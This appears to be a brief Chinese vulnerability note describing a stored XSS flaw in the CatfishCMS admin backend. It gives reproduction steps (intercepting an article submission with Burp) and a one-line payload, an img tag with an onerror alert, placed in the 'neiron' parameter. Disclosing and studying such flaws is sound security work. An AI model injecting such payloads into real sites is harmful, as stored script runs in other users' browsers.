CatfishCMS后台储存型xss¶

漏洞简介¶

网站背景中的管理员可以发布包含存储XSS漏洞的文章提交标题以抓取数据包使用burp修改参数浏览文章可以触发XSS

复现过程¶

neiron=<img src=x onerror=alert(123)>